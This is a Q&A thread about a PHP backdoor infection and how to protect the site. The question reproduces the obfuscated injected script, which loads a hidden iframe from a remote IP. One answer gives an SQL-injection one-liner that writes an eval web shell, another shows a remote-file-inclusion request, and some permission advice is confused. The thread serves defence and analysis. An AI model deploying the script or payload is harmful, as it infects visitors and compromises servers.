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Protect website from Backdoor/PHP.C99Shell aka Trojan.Script.224490
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Solved phpjavascriptsecurityvirustrojan
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9

My website was infected by a trojan script.

Somebody managed to create/upload a file called "x76x09.php" or "config.php" into my webspace's root directory. Its size is 44287 bytes and its MD5 checksum is 8dd76fc074b717fccfa30b86956992f8. I've analyzed this file using Virustotal. These results say it's "Backdoor/PHP.C99Shell" or "Trojan.Script.224490".

This file has been executed in the same moment when it was created. So it must have happened automatically. This file added the following malicious code to the end of every index.php on my webspace.

</body>
</html><body><script>
var i={j:{i:{i:'~',l:'.',j:'^'},l:{i:'%',l:218915,j:1154%256},j:{i:1^0,l:55,j:'ijl'}},i:{i:{i:function(j){try{var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x6e\x70\x75\x74');l['\x74\x79\x70\x65']='\x68\x69\x64\x64\x65\x6e';l['\x76\x61\x6c\x75\x65']=j;l['\x69\x64']='\x6a';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);}catch(j){return false;}
return true;},l:function(){try{var l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6a');}catch(l){return false;}
return l.value;},j:function(){var l=i.i.i.i(i.l.i.i('.75.67.67.63.3a.2f.2f.39.32.2e.36.30.2e.31.37.37.2e.32.33.35.2f.76.61.71.72.6b.2e.63.75.63.3f.66.75.61.6e.7a.72.3d.6b.37.36.6b.30.39'));var j=(l)?i.i.i.l():false;return j;}},l:{i:function(){var l=i.i.i.j('trashtext');var j=(l)?l:'trashtext';return j||false;},l:function(){var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x6c');l['\x77\x69\x64\x74\x68']='0.1em';l['\x68\x65\x69\x67\x68\x74']='0.2em';l['\x73\x74\x79\x6c\x65']['\x62\x6f\x72\x64\x65\x72']='none';l['\x73\x74\x79\x6c\x65']['\x64\x69\x73\x70\x6c\x61\x79']='none';l['\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c']='\x6c';l['\x69\x64']='\x6c';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);},j:function(){var l=i.i.j.j(i.i.l.l());l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6c');var j=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x66\x72\x61\x6d\x65');j['\x68\x65\x69\x67\x68\x74']=j['\x77\x69\x64\x74\x68'];j['\x73\x72\x63']=i.i.j.i(i.i.l.i());try{l['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](j);}catch(j){}}},j:{i:function(l){return l['replace'](/[A-Za-z]/g,function(j){return String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']((((j=j.charCodeAt(0))&223)-52)%26+(j&32)+65);});},l:function(l){return i.i.j.i(l)['\x74\x6f\x53\x74\x72\x69\x6e\x67']()||false;},j:function(l){try{l();}catch(l){}}}},l:{i:{i:function(l){l=l['replace'](/[.]/g,'%');return window['\x75\x6e\x65\x73\x63\x61\x70\x65'](l);},l:'50',j:'33'},l:{i:'62',l:'83',j:'95'},j:{i:'46',l:'71',j:'52'}}}
i.i.l.j();</script>

After that code was on my page, users reported a blue panel popping up in Firefox. It asked them to install a plugin. Now some of them have Exploit.Java.CVE-2010-0886.a on their PC.

The infection did happen although I have allow_url_fopen and allow_url_include turned off. And my hoster says the file wasn't uploaded via FTP.

So my questions are:

  • What does the malicious code do? How is it encoded?
  • How could the remote file ("x76x09.php" or "config.php") come to my webspace? SQL injection? Virus on my own PC?
  • How can I protect my website from such attacks in the future?

Thank you very much in advance! I really need help.

This question is similar. But it's more like a report. I didn't know it's a virus from the beginning. So this question here refers to the virus itself, the other question does not.

Since answered 4/8, 2010 at 22:13 Comment(1)
The code is in JavaScript, added relevant tag. – Dyal
K
6

Your website has been hacked using exploit code.

  1. You must updating everything, including any php libraries you may have installed.

  2. Run phpsecinfo and remove all red and as much yellow as possible by modifying your .htaccess or php.ini.

  3. Remove write privileges from all files and folders your web root (chmod 500 -R /var/www && chown www-root /var/www) the chown should be whatever user is running php so do a <?php system('whoami');?> to figure that out.

  4. Change all passwords, and use sftp or ftps if you can.

  5. Remove FILE privileges from your MySQL account that your php application uses.

Kami answered 4/8, 2010 at 22:39 Comment(7)
Thank you very much! (1) I haven't installed any php libraries on my own. Just my hoster. But I'm sure my hoster does his job. (3) Can I assign "544" or "444" to all of my project files? I edit them via FTP so why give write rights? "500" doesn't work. Error messages appear!? (4) I changed the passwords. I asked my hoster if I can use sftp or ftps. (5) I don't know how to change these privileges. But until now, my PHP scripts used the global MySQL user. This is a big mistake, right? I created another user, just for this database. – Since
@marco92w No, the last 2 digits must always be zeros. If you are getting errors then the ownership is incorrect. chmod 555 will work for now, but its a terrible practice. You never want to give all users access to your files. Yes using a global mysql user is a very serious mistake. If everything is up to date i think that someone else on the host box hacked your site, what you are describing is terrible. – Kami
Thanks! (A) "whoami" gives me "nobody" as the response!? (B) Why not "444" for files and "555" for directories? Then nobody has write privileges, correct? (C) I've changed the PHP scripts' user to a non-global user. And I changed MySQL's and FTP's password. Is this enough? – Since
I use FTPES instead of FTP now. – Since
@marco92w to be technical, 111 is execute privileges, which is what php needs and this will prevent other users from reading your files (like your db password!!!), i'm pretty sure this works although i haven't tested it. 444 is read permissions which is needed by static files (.js .html .jpg). If you are running as "nobdy" then i'm pretty sure you have to give everybody rights. As long as you have done everything on my list, and do a chmod 111 on all your php files, then you should be good to go. Just changing the permissions isn't enough. – Kami
No, "111" (only execute) for files doesn't work. But "444" (only read) does work. So should I assign "444" to all of my PHP files? And "555" to all directories? It wouldn't be possible to create a directory browser on my webspace any longer, would it? – Since
@marco92w chmod 555 is read and execute, i'm not sure why that is required. Making your files globally readable is horrible, you need to move hosts. – Kami
C
7

Many of the websites we've seen that have been hacked are the result of a virus on a PC that's used to FTP files to the infected website. The virus steals the FTP password in a variety of ways - but primarily two.

First, if you're using a free FTP program like FileZilla, you should know that these programs store their saved login credentials in a plain text file. It's easy for the virus to find these, read them and send the information to a server which then logs into FTP with valid credentials, copies certain files to itself, infects them then sends them back to the website. Often times it also copies these "backdoor" shell scripts to the website as well so that when the FTP passwords are changed, they can still re-infect the site.

The virus also "sniffs" the FTP traffic. Since FTP transmits all data including username and password, in plain text, it's easy for the virus to see and steal the information that way as well.

Quite often, however, when we've seen a backdoor that causes the infection, it's usually the result of Remote File Inclusion vulnerability somewhere on the site. The hackers are constantly trying to add a URL that points to one of their backdoors to the end of any Request string. So in your access logs you might see something like:

/path/folder/another/folder/file.php?http://www.hackerswebsite.com/id.txt????

Where the path/folder string is just for demonstration purposes here.

Sometimes that command works and they are able to copy id.txt to the intended website and thus have a backdoor shell script from which they can manipulate the files.

Change all passwords - FTP, database, cPanel or other administrative interface.

Scan all PCs for viruses.

Change to SFTP.

Check all folders for 755 permissions and all files for 644. This is what is standard.

If it were SQL injection the infection wouldn't be at the end of the file. It would be somewhere there's a SQL call to generate the content.

Yes. With today's backdoors, the attacker can and probably has already viewed the config.php files where your MySQL data is saved.

Change all passwords.

Cysticercus answered 5/8, 2010 at 23:25 Comment(1)
Thank you! So you think my FileZilla was infected and uploaded the remote file to my server, right? – Since
K
6

Your website has been hacked using exploit code.

  1. You must updating everything, including any php libraries you may have installed.

  2. Run phpsecinfo and remove all red and as much yellow as possible by modifying your .htaccess or php.ini.

  3. Remove write privileges from all files and folders your web root (chmod 500 -R /var/www && chown www-root /var/www) the chown should be whatever user is running php so do a <?php system('whoami');?> to figure that out.

  4. Change all passwords, and use sftp or ftps if you can.

  5. Remove FILE privileges from your MySQL account that your php application uses.

Kami answered 4/8, 2010 at 22:39 Comment(7)
Thank you very much! (1) I haven't installed any php libraries on my own. Just my hoster. But I'm sure my hoster does his job. (3) Can I assign "544" or "444" to all of my project files? I edit them via FTP so why give write rights? "500" doesn't work. Error messages appear!? (4) I changed the passwords. I asked my hoster if I can use sftp or ftps. (5) I don't know how to change these privileges. But until now, my PHP scripts used the global MySQL user. This is a big mistake, right? I created another user, just for this database. – Since
@marco92w No, the last 2 digits must always be zeros. If you are getting errors then the ownership is incorrect. chmod 555 will work for now, but its a terrible practice. You never want to give all users access to your files. Yes using a global mysql user is a very serious mistake. If everything is up to date i think that someone else on the host box hacked your site, what you are describing is terrible. – Kami
Thanks! (A) "whoami" gives me "nobody" as the response!? (B) Why not "444" for files and "555" for directories? Then nobody has write privileges, correct? (C) I've changed the PHP scripts' user to a non-global user. And I changed MySQL's and FTP's password. Is this enough? – Since
I use FTPES instead of FTP now. – Since
@marco92w to be technical, 111 is execute privileges, which is what php needs and this will prevent other users from reading your files (like your db password!!!), i'm pretty sure this works although i haven't tested it. 444 is read permissions which is needed by static files (.js .html .jpg). If you are running as "nobdy" then i'm pretty sure you have to give everybody rights. As long as you have done everything on my list, and do a chmod 111 on all your php files, then you should be good to go. Just changing the permissions isn't enough. – Kami
No, "111" (only execute) for files doesn't work. But "444" (only read) does work. So should I assign "444" to all of my PHP files? And "555" to all directories? It wouldn't be possible to create a directory browser on my webspace any longer, would it? – Since
@marco92w chmod 555 is read and execute, i'm not sure why that is required. Making your files globally readable is horrible, you need to move hosts. – Kami
A
0

You probably have an uploading mechanism on your website that isn't properly filtered. For example, if you have the ability to use a profile picture, somebody could upload a php file and find a way to execute it and gain control of your website.

x76x09.php is an uncensored directory browser/uploader that allows the malicious uploader to gain full control of your website.

Make sure you temporarily disable all methods of uploading files to your server immediately and delete all instances of malicious code in ALL files.

Aircraftman answered 4/8, 2010 at 22:22 Comment(8)
@The Rook: You highly doubt what? – Aircraftman
@Aircraftman that is one of over 6,000 ways it could have happened. You should read my response. – Kami
Thanks for the answer! But no, I don't have any upload scripts on my webspace. If it's a directory browser: Could the attacker view my config php files where my MySQL data is saved? – Since
So long as the script has read permissions on your config.php files, yes, it can read it. If they want to read your MySQL data, they could just upload a PHP file to extract all the data it can find. – Aircraftman
@The Rook: You posted your response after my comment. – Aircraftman
@Aircraftman your right, but my point is that its more likely that sql injection is used to drop the file. In mysql you can exploit a query by injecting a union select into outfile at the end of a query. For instance: select col from table where some=1 union select '<?php eval($_GET[e]);?>' into outfile '/var/www/backdoor.php' – Kami
Very interesting. I think this could really have been the leak. If my MySQL account doesn't have FILE privileges, this way of injection isn't possible anymore, is it? – Since
@marco92w you can still use a union select to grab data from another database/table, such as the administrative username/password hash/salt and then break the password with John The Ripper. But into outfile and loadfile() are really useful for exploiting MySQL with sql injection. If MySQL is out of date it maybe possible to get remote code execution by using a buffer overflow using a malformed query. – Kami

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